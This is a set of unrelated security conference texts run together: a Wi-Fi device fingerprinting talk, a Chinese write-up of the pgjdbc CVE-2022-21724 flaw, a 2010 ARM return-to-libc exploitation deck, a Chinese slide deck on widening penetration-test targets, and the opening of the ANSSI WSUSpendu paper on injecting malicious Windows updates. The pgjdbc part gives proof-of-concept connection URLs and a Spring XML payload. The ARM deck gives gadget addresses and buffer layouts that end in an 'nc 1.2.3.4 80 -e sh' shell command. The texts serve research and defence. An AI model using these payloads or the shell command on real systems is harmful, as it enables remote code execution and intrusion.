0,1,48,50,45,221(001018,2),221(00904c,51),221(0050f2,2),
htcap:0100,htagg:19,htmcs:000000ff
iPhone 7, 2016
0,1,33,36,48,70,54,45,127,191,199,221(0017f2,10),221(001
018,2),221(0050f2,2),htcap:006f,htagg:17,htmcs:0000ffff,
vhtcap:0f811032,vhtrxmcs:0000fffa,vhttxmcs:0000fffa,txpo
w:13f9,extcap:000008
Try It! SSID: SmellOfWifiTalk
Signatures in their Final Form
Xbox One
wifi4|probe:0,1,45,50,htcap:058f,htagg:03,htmcs:0000ffff|assoc:0,1,33
,36,221(0050f2,2),45,htcap:058f,htagg:03,htmcs:0000ffff,txpow:1208
Nest Thermostat v3
wifi4|probe:0,1,45,221(001018,2),221(00904c,51),htcap:0062,htagg:1a,h
tmcs:000000ff|assoc:0,1,33,36,48,45,221(001018,2),221(00904c,51),221(
0050f2,2),htcap:0062,htagg:1a,htmcs:000000ff,txpow:0f09
Chromecast v1
wifi4|probe:0,1,3,45,50,htcap:0120,htagg:03,htmcs:00000000|assoc:0,1,
48,50,127,221(0050f2,2),45,htcap:012c,htagg:03,htmcs:000000ff,extcap:
0000000000000140
Try It! SSID: SmellOfWifiTalk
Multiple Signatures
wifi4|probe:0,1,45,221(0050f2,8),191,127,htcap:01ef,htagg:1f,htmcs:0000ff
ff,vhtcap:339071b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000000000
0004080|assoc:0,1,48,45,221(0050f2,2),191,127,htcap:01ef,htagg:1f,htmcs:0
000ffff,vhtcap:339071b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000a
020100004080
wifi4|probe:0,1,45,221(0050f2,8),191,127,htcap:01ef,htagg:1f,htmcs:0000ff
ff,vhtcap:339031b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000000000
0004080|assoc:0,1,48,45,221(0050f2,2),191,127,htcap:01ef,htagg:1f,htmcs:0
000ffff,vhtcap:339031b2,vhtrxmcs:030cfffa,vhttxmcs:030cfffa,extcap:04000a
020100004080
Try It! SSID: SmellOfWifiTalk
Signature Aliasing
Amazon Dash Button
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
First Alert Thermostat
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Nexus 7 (2012 edition)
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Roku HD
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Withings Scale
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff
Try It! SSID: SmellOfWifiTalk
Signature Disambiguation
Amazon Dash Button
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:amazon
First Alert Thermostat
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:firstalert
Nexus 7 (2012 edition)
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:asus
Roku HD
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|os:roku
Withings Scale
wifi4|probe:0,1,50,45,3,221(001018,2),221(00904c,51),htcap:110c,htagg:19,htmcs:000000ff|assoc:0,1,48,50,4
5,221(001018,2),221(00904c,51),221(0050f2,2),htcap:110c,htagg:19,htmcs:000000ff|oui:withings
Try It! SSID: SmellOfWifiTalk
Mobile Only!
Taxonomy identifies the Wi-Fi circuitry, device driver, and OS.
●
Works for highly integrated devices: mobile and IOT.
●
With a Wi-Fi card in a laptop... it identifies the card.
Try It! SSID: SmellOfWifiTalk
Uses of Wi-Fi Taxonomy
Current
● List of Connected Clients in UI
● Correlate with other data
Future
● Optimize for client ?
● WIDS ?
Try It! SSID: SmellOfWifiTalk
Current Status
● hostapd 2.7 added CONFIG_TAXONOMY.
○ hostapd_cli command: signature
● Database of known signatures:
○
https://github.com/NetworkDeviceTaxonomy/wifi_taxonomy
○ Mobile & IOT, not laptops/desktops
○ ~60% of connected Wifi devices
Try It! SSID: SmellOfWifiTalk
Other resources
●
Published paper
https://research.google.com/pubs/pub45429.html
https://arxiv.org/abs/1608.01725
●
“Measuring wifi performance across all Google Fiber customers”
Avery Pennarun, Netdev 1.1, 2015
https://youtu.be/yZcHbD84j5Y
http://apenwarr.ca/diary/wifi-data-apenwarr-201602.pdf
●
https://github.com/NetworkDeviceTaxonomy
Try It! SSID: SmellOfWifiTalk | pdf |
Vul of PostpreSql、Informic JDBC Driver
当程序中JDBC 连接 URL 可控时,可能会造成安全问题。HITB2021SIN 中的分享议题 "Make
JDBC Attacks Brilliant Again" 列举出了H2、IBM DB2、MODEShape、Apache Derby、
SQLite等数据库Driver,在Connect URL可控情况下的安全问题。
⼀、Postgresql CVE-2022-21724
近⽇披露了CVE-2022-21724,同样是在JDBC Connection URL可控情况下将会出现某些安
全问题。
当攻击者控制 jdbc url 或属性时,使⽤ postgresql 库的系统将受到攻击。pgjdbc 根据通过
`authenticationPluginClassName`、`sslhostnameverifier`、`socketFactory`、`sslfactory`、
`sslpasswordcallback` 连接属性提供的类名实例化插件实例。但是,驱动程序在实例化类之前
没有验证类是否实现了预期的接⼝。这可能导致通过任意类加载远程代码执⾏。
1.复现
Github提供POC如下:
可以看到是利⽤了Spring中的
org.springframework.context.support.ClassPathXmlApplicationContext类,这⾥搭建环境参
考Spring Boot Connect to PostgreSQL Database Examples
测试Demo
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.
package com.example.demo;
/**
* @auther Skay
* @date 2022/2/18 0:18
* @description
*/
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.jdbc.core.BeanPropertyRowMapper;
import org.springframework.jdbc.core.JdbcTemplate;
import java.sql.Types;
import java.util.List;
import java.util.Map;
@SpringBootApplication
public class SpringJdbcTemplate2PostgreSqlApplication implements CommandLine
1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
application.propertise
2.分析
简单看⼀下代码逻辑
org.postgresql.Driver#makeConnection
进⼊org.postgresql.jdbc.PgConnection类初始化逻辑
——> oorg.postgresql.jdbc.PgConnection#PgConnection
——> org.postgresql.core.ConnectionFactory#openConnection
——> org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
这⾥会进⼊关键⽅法org.postgresql.core.SocketFactoryFactory#getSocketFactory
@Autowired
private JdbcTemplate jdbcTemplate;
public static void main(String[] args) {
SpringApplication.run(SpringJdbcTemplate2PostgreSqlApplication.class
}
@Override
public void run(String... args) throws Exception {
Map<String, Object> map = jdbcTemplate.queryForMap("select * from tb
System.out.println(map.toString());
}
}
spring.datasource.url=jdbc:postgresql://192.168.33.179:5432/test?socketFacto
spring.datasource.username=postgres
spring.datasource.password=postgresql
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1
2
3
4
有⼀个if else逻辑,从Properties中获取socketFactoryClassName,如果为空则return默认的
javax.net.SocketFactory,否则进⼊org.postgresql.util.ObjectFactory#instantiate逻辑
进⼊org.postgresql.util.ObjectFactory#instantiate,会进⼊newInstance逻辑初始化
socketFactory参⼊传⼊的
org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg
类,且初始化参数也可⽤socketFactoryArg参数指定
最终落地到
org.springframework.context.support.ClassPathXmlApplicationContext#ClassPathXmlAppli
cationContext(java.lang.String)
org.springframework.context.support.ClassPathXmlApplicationContext这条链在JackSon反
序列化漏洞中使⽤过(CVE-2017-17485)
poc.xml 内容为
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg value="calc.exe" />
1
2
3
4
5
6
最终复现如下:
3.Other
按照这个思路,我们只需找到符合这样条件的⼀个类,public构造⽅法中有且只有⼀个String参
数,会造成⼀些敏感操作,这样找到了⼀个java.io.FileOutputStream,可以造成任意⽂件内容
置空
Poc如下:spring.datasource.url=jdbc:postgresql://192.168.33.179:5432/test?
socketFactory=java.io.FileOutputStream=D:\tmp\aaa.txt
4.补丁
https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c
813 添加了代码逻辑验证该类是否实现了预期的接⼝
⼆、参考链接:
https://su18.org/post/jdbc-connection-url-attack/
https://paper.seebug.org/1832/
https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>
7
8
9 | pdf |
Technique and bypassing defense
mechanisms
07. 2010
STRI/Advance Technology Lab/Security
Exploitation on ARM
CONFIDENTIAL
2
# /usr/bin/whoami
● Itzhak (Zuk) Avraham
● Researcher at Samsung Electronics
● Partner at PIA
● Follow me on twitter under “ihackbanme”
● Blog : http://imthezuk.blogspot.com
● For any questions/talks/requests/whatever :
CONFIDENTIAL
3
Presentation isn’t enough
● Get the full paper! Should be in the CDs under the name:
Itzhak Zuk Avraham.*
● This presentation and a full disclosure paper
can be found at the following URL :
● http://imthezuk.blogspot.com
CONFIDENTIAL
4
Outline
● [+] Exploitation on X86 vs. ARM
● [+] ARM calling convention (APCS)
● [+] Why simple ret2libc will not work?
● [+] Understanding the vulnerable function
● [+] Adjusting parameters
● [+] Controlling the PC
● [+] Ret2ZP (Return To Zero Protection) - For Local
Attacker
● [+] Ret2ZP (Return To Zero Protection) - Attack Explained
in Depth (For Remote Attacker)
● [+] Ret2ZP - Registers/Variable values injections.
● [+] Ret2ZP - Using the attack to enable stack.
# whoami
root
CONFIDENTIAL
5
Remote
Local by Apps
SMS/Calls
Zombie Phone?
More
Privilege
escalation
Introduction - Why to hack into a phone?
Zombie Phone?
SMS/Calls
Privilege
escalation
More
Local by phone
holder
Privilege
escalation
CONFIDENTIAL
6
Stack based BO on X86/ARM
● Current status on BO on X86
● Stack/Heap is not executable
● Stack cookies, ASLR, etc…
● On ARM?
● Almost no protection.
● Architecture is different.
● Stack/Heap are not executable on most devices
CONFIDENTIAL
7
X86 Ret2Libc Attack
● Ret2LibC Overwrites the return address and pass
parameters to vulnerable function.
● [+] EBP+4 will store a function we want to call.
● [+] EBP+8 Will store the exit function as its pushed to the
called function.
● [+] EBP+12 Will contain the pointer to the parameters we
want to use on the called function.
● We’ll use the “system” function, as it’s easy to
use/understand and only get 1 parameter.
CONFIDENTIAL
8
Why it wouldn’t work on ARM?
● In order to understand why we have problems using
Ret2Libc on ARM with regular X86 method we have to
understand how the calling conventions works on ARM &
basics of ARM assembly
CONFIDENTIAL
9
ARM Assembly basics
● ARM Assembly uses different kind of commands from what
most hackers are used to (X86).
● It also has it’s own kind of argument passing mechanism
(APCS)
● The standard ARM calling convention allocates the 16 ARM
registers as:
● r15 is the program counter.
● r14 is the link register.
● r13 is the stack pointer.
● r12 is the Intra-Procedure-call scratch register.
● r4 to r11: used to hold local variables.
● r0 to r3: used to hold argument values to and from a
subroutine.
● We need to re-invent the wheel from the beginning to exploit on
ARM
CONFIDENTIAL
10
ARM Ret2Libc Attack
● Ret2LibC Overwrites the return address and pass
parameters to vulnerable function. But wait… Parameters
are not passed on the stack but on R0..R3.
● Oops, we’re screwed.
● We can only override existing variables from local
function.
● And PC (Program-Counter == EIP in X86)
● So there’s no - ”Ret2Libc” for us on ARM, we’ll have to
make some adjustments.
CONFIDENTIAL
11
Why is it possible?
● Theory (shortly & most cases):
● When returning to original caller of function, the pushed
Link-Register (R14) is being popped into Program
Counter (R15).
● If we control the Link-Register (R14) before the function
exits, we can gain control of the application!
CONFIDENTIAL
12
First PoC – On maintained R0
● Saved R0 passed in buffer
CONFIDENTIAL
13
First PoC – On maintained R0
● Sometimes we can maintain the parameters passed on
the stack on use them for our own (on R0 register). In
some cases we’ll use a Return Oriented Programming to
control the flow of the functions to execute our shell-code,
step-by-step.
● In the following PoC, we’ll use a function that exits after
the copy of the buffer is done and returns no parameters
(void), in-order to save the R0 register to gain control to
flow without using multiple returns.
CONFIDENTIAL
14
Real life scenario!
●
Let’s face it, keeping the R0 to point to beginning of buffer is not a real life
scenario – it needs the following demands :
● Function returns VOID.
● There are no actions after overflow (strcpy?) [R0 will be deleted]
● The buffer should be small in-order for stack not to run over itself when calling
SYSTEM function. (~16 bytes).
●
There’s almost no chance for that to happen. Let’s make this attack better.
CONFIDENTIAL
15
Successful exploitation requirements?
● Parameter adjustments
● Variable adjustments
● Gaining back control to PC
● Stack lifting
● RoP + Ret2Libc + Stack lifting + Parameter/Variable
adjustments = Ret2ZP
● Ret2ZP == Return to Zero-Protection
CONFIDENTIAL
16
Ret2ZP for Local Attacker
● How can we control R0? R1? Etc?
● We’ll need to jump into a pop instruction which also pops PC or do
with it something later… Let’s look for something that …
● After a quick look, this is what I've found :
● For example erand48 function epilog (from libc):
0x41dc7344 <erand48+28>:
bl
0x41dc74bc <erand48_r>
0x41dc7348 <erand48+32>:
ldm
sp, {r0, r1} <==== WE NEED
TO JUMP HERE. Let's make R0 point to &/bin/sh
0x41dc734c <erand48+36>:
add
sp, sp, #12
; 0xc
0x41dc7350 <erand48+40>:
pop
{pc} ====> We'll get out here.
Let's make it point to SYSTEM.
Meaning our buffer will look something like this :
AA…A [R4] [R11] &0x41dc7344 &[address of /bin/sh] [R1] [4bytes of Junk] &SYSTEM
CONFIDENTIAL
17
Ret2ZP – Remote attacker
● By using relative places, we can adjust R0 to
point to beginning of buffer. R0 Will point to *
● We can run remote commands such as :
Nc 1.2.3.4 80 –e sh
***Don’t forget to separate commands with # or ; because string continue after
command
Meaning our buffer will look something like this :
*nc 1.2.3.4 80 –e sh;#…A [R4] [R11] &PointR0ToRelativeCaller …
[JUNK] [&SYSTEM]
CONFIDENTIAL
18
Ret2ZP – Remote Attacker – Abusing current StackPointer
● Arghh… It doesn’t work. For short buffer we only
got DWORD of un-written commands, for long
buffer we got none, un-less certain specific
commands happened.
● We need to lift the stack! Or point it to other
writeable region.
● ARM commands are making our life easier.
There are many variations of commands that
can adjust a register.
CONFIDENTIAL
19
Ret2ZP – Remote Attacker – Abusing current StackPointer
● This is an example of a simple way to adjust stack, but other
methods are preferred such as moving SP to writeable location.
● Let’s take a look of wprintf function epilog :
0x41df8954: add sp, sp, #12 ; 0xc
0x41df8958: pop {lr} ; (ldr lr, [sp], #4) <--- We need to jump here!
; lr = [sp]
; sp += 4
0x41df895c: add sp, sp, #16 ; 0x10 STACK IS LIFTED RIGHT HERE!
0x41df8960: bx lr ; <--- We'll get out, here :)
0x41df8964: .word 0x000cc6c4
● Enough lifting can be around ~384 bytes [from memory]
● Our buffer for 16 byte long buffer will look like this:
● “nc 1.2.3.4 80 –e sh;#A..A” [R4] [R11] 0x41df8958 *0x41df8958 [16 byte]
[re-lift] [16 byte] [re-lift][16 byte] …. [R0 Adjustment] [R1] [Junk] [&SYSTEM]
CONFIDENTIAL
20
Ret2ZP – Remote Attacker – Parameter Adjustments
● Another interesting parts to adjust params:
● Mcount epilog:
●
0x41E6583C mcount
●
0x41E6583C STMFD SP!, {R0-R3,R11,LR} ; Alternative name is '_mcount'
●
0x41E65840 MOVS R11, R11
●
0x41E65844 LDRNE R0, [R11,#-4]
●
0x41E65848 MOVNES R1, LR
●
0x41E6584C BLNE mcount_internal
●
0x41E65850 LDMFD SP!, {R0-R3,R11,LR} <=== Jumping here will get you to
control R0, R1, R2, R3, R11 and LR which you'll be jumping into.
●
0x41E65854 BX LR
●
0x41E65854 ; End of function mcount
CONFIDENTIAL
21
Ret2ZP – Remote Attacker – Parameter Adjustments
●
Enable stack and execute whatever you want! All of this can be easily used to enable
stack by calling mprotect() and jumping back to shellcode. For more complex
shellcodes (please refer to reference section on Pharck magazine Alphanumeric ARM
shellcodes).
CONFIDENTIAL
22
Ret2ZP – Android
● Let’s see if we can root an Android phone:
●
Limitations
●
Okay, Let’s do it!
●
Andorid libc… mmm
●
What do we need to know :
● Compiled differently from libc here
● Different flags, but same technique works.
● No getting things to R0 immediately? (pop R0)… Let’s get it!
● /bin/sh /system/bin/sh
CONFIDENTIAL
23
Ret2ZP – Android
● Don’t worry, it’s all the same (more. or less)…
● Let’s get : “/system/bin/sh” to R0. No pop R0 at all, so let’s do a trick.
Check this lines of code :
mallinfo
STMFD SP!, {R4,LR}
MOV
R4, R0
BL
j_dlmallinfo
MOV
R0, R4
LDMFD SP!, {R4,PC} Let’s jump here and store address of
/system/bin/sh on R4!
; End of function mallinfo
CONFIDENTIAL
24
Ret2ZP – Android
● Now let’s get R4 to R0
mallinfo
STMFD SP!, {R4,LR}
MOV
R4, R0
BL
j_dlmallinfo
MOV
R0, R4 (2nd Jump) We’ll need to jump here now.
LDMFD SP!, {R4,PC} (1st Jump)
; End of function mallinfo
●
I.e : AA...A \xd8\x93\xe0\xaf &/system/bin/sh \xd4\x93\xe0\xaf junk
&system
CONFIDENTIAL
25
Ret2ZP – Summary
● Buffer overflows on ARM are real threat and the more
security mechanisms set, the better. Some needs to be
ported to ARM and some are already available.
● Never say never, you only need one security hole to gain
control of a device, use the most protections you can.
CONFIDENTIAL
26
Ret2ZP – Prevention
● Not a single un-randomized static code
● Cookies
● Multiple vectors
CONFIDENTIAL
27
Questions?
● Questions?
Holly, Carpe Diem
CONFIDENTIAL
28
Questions?
● Questions?
● Itzhak (Zuk) Avraham
● Researcher at Samsung Electronics
● My details for further questions:
● Follow me on twitter under “ihackbanme”
● Blog/Full Paper/Presentation:http://imthezuk.blogspot.com
● My Email: (Special offers/questions/comments…):
CONFIDENTIAL
29
Thanks!
●
Ilan (NG!) Aelion - Thanks Ilan, Couldn't have done it without you; You're the man!
●
Moshe Vered - Thanks for the support/help!
●
Matthew Carpenter - Thanks for your words on hard times.
CONFIDENTIAL
30
References
●
Full paper is posted at my blog : http://imthezuk.blogspot.com
●
Phrack magazine p66,0x0c – Alphanumeric ARM Shellcode (Yves Younan,
Pieter Philippaerts)
●
Phrack magazine p58,0x04 – advanced ret2libc attacks (Nergal)
●
Defense Embedded Systems Against BO via Hardware/Software (Zili Shao,
Qingfeng Zhuge, Yi He, Edwin H.-M. Sha)
●
iPwnning the iPhone : Charlie Miller
●
ARM System-On-Chip Book : Awesome! By Stever Furber –
Like the bible of ARM.
●
Understanding the Linux Kernel – by Bovet & Cesati
CONFIDENTIAL
31
Thank You!
감사합니다! | pdf |
安全测试中
一些有趣的姿势和技巧
Fresh business general template
Applicable to enterprise introduction, summary
report, sales marketing, chart data
gdygdy
ID
gdygdy
程序猿转行安全
多年搬砖背锅经验,目前在练习甩锅
曾经在多个SRC和漏洞平台打酱油
每天专心撸铁
自我介绍
聊些什么?
测试中那些总被忽略的目标
目 标
哪些目标?
APP
移动APP应用
微信
微信公众号,小程序
QQ
QQ公众号
支付宝
支付宝生活号、小程序
移动APP来源
安卓应用市场
AppStore
苹果企业证书安装
iOS应用
App Store
同开发者旗下APP
iOS应用
扩大目标范围
I.
子业务
II.
分公司
III.
收购的业务
IV. ………
微信
微信公众号+小程序
微信
微信
QQ
QQ
搜索公众号
下方菜单以及消息
支付宝生活号
支付宝
支付宝小程序
生活号入口
总入口
搜索
结束
上面介绍的这些够了吧?
01
社交功能
02
其他相关公众号
04
…………………
03
APP的不同版本
如何获得更多的目标?
社交功能
其他相关公众号、小程序
APP的不同版本
APP历史版本
其他版本
还有什么?
几个解决问题的技巧
技 巧
技巧1 2 3
技巧1 2 3
技巧1 2 3
难题
解决办法?
逆向思考
解决办法?
思考结果
修改目标参数的上一步返回数据值
感谢观看 | pdf |
WSUSpendu
ANSSI
Romain Coltel [email protected]
Yves Le Provost [email protected]
2
WSUSpendu
Contents
Introduction
5
WSUS and network architecture
7
1.1
Architectures presentation
7
1.2
Auto approved updates
10
1.3
State of the art - WSUSpect and technical limitations
11
WSUS internals
13
2.1
IIS Webservice
13
2.2
Database
15
2.3
WSUS service
15
Injecting a new update
17
3.1
Interaction with the database
17
3.2
Update metadata
17
3.3
Update’s binary upload
20
3.4
Injecting in the database
21
3.5
Targeting a specific client
22
3.6
Update deployment
22
Introducing WSUSpendu
23
Auditing WSUS
25
Microsoft network architecture issues
27
6.1
Administration principles
27
6.2
One WSUS server for multiple forests
27
6.3
A WSUS server for a disconnected network
28
Recommendations
29
7.1
Securing the WSUS service itself
29
3
WSUSpendu
7.2
Multiple WSUS servers architectures
29
7.3
Disconnected networks case
30
Conclusion
31
Bibliography
33
4
WSUSpendu
Introduction
WSUS is a Microsoft service that deploys updates on the computer park depending on
the organization’s needs, which is essential for a secured infrastructure. Easy to use
and to install, it is possible to adapt it according to the different patch policy of every
organization. However, the service’s purpose is to install softwares (patches in that case)
on a large number of operating systems. Thus it is easy to understand that a misuse
of its legitimate functionality could be critical for the network security. Such a case has
been presented by Paul Stone and Alex Chapman during Black Hat 2015 [3]. Their
presentation resulted on the provision of a new tool named WSUSpect. This tool was
created to exploit a MITM attack and to inject an additional and malicious update in the
connection between client and server. However, an attacker will not always be able to
use this tool, especially if network protections have been configured. In another case,
an update server could be placed at the border of the network (to distribute update to
this other network). Thereby, the method used by WSUSpect will fail.
The purpose of this article is to demonstrate the different problems the usage of WSUS
presents. The functionalities and the server position in the network could lead to a
dangerous situation. We will first present the different elements used by the service. In
a second time, we will approach a method to circumvent the limitations of WSUSpect
if the WSUS server is compromised.
A new tool will be proposed.
This tool uses
the technique of direct injection of updates in the WSUS service rather than in the
network flow, to avoid the network restrictions. After that, we will detail the WSUS
service in the audit point of view. Indeed, a major issue in patch management audit
process is to collect the states of the updates on every system. These states must be
coherent. Direct access on the WSUS server allows us to circumvent these limitations.
Studying WSUS and its architecture leads to the elaboration of audit scripts in order to
automatize the collection of information. Finally, we will return to the various problems
of WSUS, particularly with regards to its critical positioning in the architecture. These
new perspectives will lead to the elaboration of a recommended architecture in order
to protect domain controllers, which are potential clients of a WSUS server.
5
WSUSpendu
WSUS and network architecture
This part presents the different architectures with a WSUS server. These architectures
are commonly used and their choices depend on the complexity and the nature of the
network and if it is connected or not to Internet.
1.1
Architectures presentation
Each architecture presented in this part contains at least one WSUS server. The case
of clients without WSUS subscription, e.g. directly connected to the Windows Update
server, is not dealt with in this article. Except this last example, the most common con-
figuration is the one where there is only one update server (see figure 1.1). This server
updates its own clients and is connected to Internet to obtain the patch from Microsoft
servers. Communication between the WSUS server and Windows Update servers must
use the HTTPS protocol (this configuration point is not editable). The SSL certificate is
checked by the WSUS server in order to avoid malicious updates by spoofing legitimate
servers. Clients obtain their updates with the WSUS server according to the server con-
figuration: using the HTTPS protocol if the server is configured with SSL, or the HTTP
protocol if not. Configuring the HTTPS protocol in an enterprise environment is not
that easy, and this situation will be explained later (see section 1.3).
Microsoft Update
Internet
Serveur WSUS
Clients WSUS
Figure 1.1: Architecture WSUS simple
A bigger organization, with multiple geographical sites for example, will use more than
one WSUS server. In this case, a tree architecture will be used (see figure 1.2). An up-
stream server is connected to Internet. Other WSUS servers, named « replica », spread
7
WSUSpendu
updates for one site or one subnetwork. It is also possible to use this kind of architec-
ture with autonomous system. In this case, updates are copied but not automatically
approved as they are with the replicas case.
Upstream and downstream concept appear here in this architecture:
• An upstream server is a server that provides its updates to another WSUS
server (Each WSUS server will ultimately depend of the Microsoft upstream server:
Windows Update server.
• A downstream server is a server that receives the updates from an upstream
server.
Microsoft Update
Internet
Serveur WSUS
Replica
Replica
Domaine B
Domaine A
Figure 1.2: WSUS servers with replicas
These two architectures are recommended by Microsoft. However, they are not suffi-
cient for certain organizations. Two other architectures can be observed.
The first one is often seen in relatively large companies: it has several domains or
forests which are not necessarily connected by trust Active Directory relationships. In
these architectures, we often see shared servers for the support functions. Although
domains have no relationships, update servers often have a common link: the WSUS
server of one of the domains is used as a reference to the other network’s WSUS server
(with the use of replicas) (cf. figure 1.3). The aim is to limit the bandwidth and the time
used to retrieve updates from the Windows Update server. Indeed, synchronization with
the Microsoft server is often very long. With this architecture, there could be a potential
control of one forest’s WSUS server over another forest’s WSUS server. This relationship
is described in section 3.6.
The last architecture presented in this article comes from a special case: the discon-
nected network. This case is very specific since it links two security issues: updates and
8
WSUSpendu
Microsoft Update
Internet
Serveur WSUS
Replica
Domaine B
Domaine A
Figure 1.3: WSUS architecture with servers dependencies between domains
confidentiality. If the network is disconnected it usually is because of its sensitivity (data
confidentiality, network sensitivity and safety, for example in case of industrial networks).
Network segregation must therefore provide additional security to the connected net-
work. However, this segregation should be only an additional barrier in the network
protection and should not be used as a pretext for lower security measures. Therefore,
the update process need to continue. In this case, this cannot be done without an In-
ternet connection. Updates are therefore one of the few vectors of data injection from
a network connected to the Internet to the disconnected network. If it is possible to
use the updates to inject malicious code, then there is a takeover relationship of these
networks, and only the data-extraction part is missing.
Microsoft has planned for this use-case. In this way, the update process relies on the
use of two WSUS servers. One of them is installed on the connected network (named
WSUS export server in this case), the other one is installed on the disconnected network
(named WSUS import server). The connected server takes its update in the normal
form (however, be aware of the method of synchronizing update binaries that must be
downloaded immediately and not only when they are approved). All data must then
be transferred to the WSUS import server using the following method:
• the directory containing the updates must be saved and transferred to the
import server. This directory is used in particular by the IIS server (see section 2.1);
• metadata contained in the WSUS database (see section 2.2) must be exported
with the help of the wsusutil tool (see listing 1.1). The resulting files
and must be copied from the export server to the import server.
• metadata is then injected into the import server, again using the wsusutil tool.
9
WSUSpendu
Listing 1.1: Usage of wsusutil to export metadata
This process is relatively time-consuming and needs a lot of processing to transfer the
data. As an example, Microsoft announces an operation taking between 3 and 4
hours. It is therefore often abandoned by system administrators in favor of two other
solutions. The first solution uses the WSUSoffline tool [1]. This tool has the advantage
of automatically performing the transfer preparation from one server to another. The
data then only has to be copied between the two servers. Handling is therefore greatly
facilitated. However, this opensource tool is not edited by Microsoft. It is therefore
often behind the functionalities of the operating systems and the WSUS service itself.
For instance, the version at the time of writing does not yet support Windows 10 nor
Windows Server 2016. This solution is therefore not entirely satisfactory.
An alternative approach consisting on using virtualization, where only one server is
used, is more often deployed. Indeed, the WSUS server, which is linked to the network
connected to the internet, is updated in a normal way. Its characteristic is being a
virtual machine that will be cloned and installed subsequently on the disconnected
network. That way, updates and their metadata are ready to be broadcast on the
disconnected network. In this case, the installed systems within this network haven’t
been approved by the WSUS server. However, this registration is performed without
any human intervention; either the WSUS server automatically adds -without restriction-
any machine that can be attached to the WSUS server on a default group, or the
client’s attachment can be specified by a GPO configuration. In this case, clients will
be created when necessary. These groups can then receive the approved updates and
the administrator can modify and validate them to the specific needs as in any WSUS
server.
1.2
Auto approved updates
For all these architectures, it is possible to manually push any appliance software up-
dates suggested by Microsoft after the testing and evaluation process. But it is also
possible to automatically apply updates according to certain criteria.
When installing WSUS, a rule, which is disabled by default, is created and allows,
when activated, to accept automatically the installation of all the ”critical” or ”security”
updates on WSUS clients, among other classifications. Automatic deployment rules can
be configured to select any update classification for any product class. For example,
we can choose to accept automatically the ”critical” updates for all the Windows 7
servers.
10
WSUSpendu
Microsoft Update
Internet
Serveur WSUS
Domaine B
Domaine A
Serveur WSUS
clone
Figure 1.4: WSUS architecture in disconnected network
Furthermore, WSUS server updates and revisions to an already validated update are
automatically approved by default.
In addition, as detailed in the section 2.2, the WSUS service heavily relies on the
database. This database uses a number of triggers activated by certain events, such as
when inserting data into tables, to verify the integrity and consistency of the data. It is
possible to create new database entries that can allow an attacker to add an update,
to approve an update or to make an update ineffective by modifying its metadata.
1.3
State of the art - WSUSpect and technical
limitations
Few attacks exist to date on the Windows update mechanism. Only Paul Stone and
Alex Chapman’s presentation at BlackHat USA 2015 [3] sheds light on the sensitivity
of this process as well as the importance of controlling an update, or at least a part of
it.
For the WSUSpect to work, the client has to use the attacker’s machine as a proxy.
One of the way for performing this attack is for a (non privileged) user on the client to
set up the proxy. Another way to perform this attack is to use the WPAD protocol. It is
possible to perform a man in the middle attack between the client and the WSUS server
in order to inject a malicious update. SOAP (Simple Object Access Protocol) over HTTP
is used between the client and the server. These protocols can be encapsulated within
an SSL/TLS layer as any HTTP connection. In this latter case, the encryption process
11
WSUSpendu
requires the deployment of a public key infrastructure (PKI) within the company which
is not performed usually. However, the attack requires a non encrypted network stream
to be successful. WSUSpect is simple as it intercepts an update request from a client
and tampers with it to add its malicious update. The server’s response is modified by
